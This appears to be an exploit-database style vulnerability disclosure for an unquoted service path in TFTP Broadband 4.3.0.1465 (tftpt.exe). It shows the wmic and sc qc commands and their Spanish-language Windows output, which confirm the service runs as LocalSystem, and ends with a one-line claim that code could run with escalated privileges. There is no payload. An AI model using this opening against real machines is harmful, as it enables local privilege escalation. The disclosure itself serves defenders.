TFTP Broadband 4.3.0.1465 – ‘tftpt.exe’ Unquoted Service Path
# Exploit Title: TFTP Broadband 4.3.0.1465 - 'tftpt.exe' Unquoted Service Path # Discovery by: Erick Galindo # Discovery Date: 2020-05-07 # Vendor Homepage: https://www.weird-solutions.com # Software : https://www.weird-solutions.com/download/products/tftpbbv4_retail_x64.exe # Tested Version: 4.3.0.1465 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Pro x64 es # Step to discover Unquoted Service Path: C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "tftpt" TFTP Broadband 4 TFTP Broadband 4 C:\Program Files\TFTP Broadband 4\tftpt.exe Auto C:\>sc qc "TFTP Broadband 4" [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: TFTP Broadband 4 TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files\TFTP Broadband 4\tftpt.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : TFTP Broadband 4 DEPENDENCIAS : Nsi : Afd : NetBT : Tcpip NOMBRE_INICIO_SERVICIO: LocalSystem #Exploit: This vulnerability could permit executing code during startup or reboot with the escalated privileges. |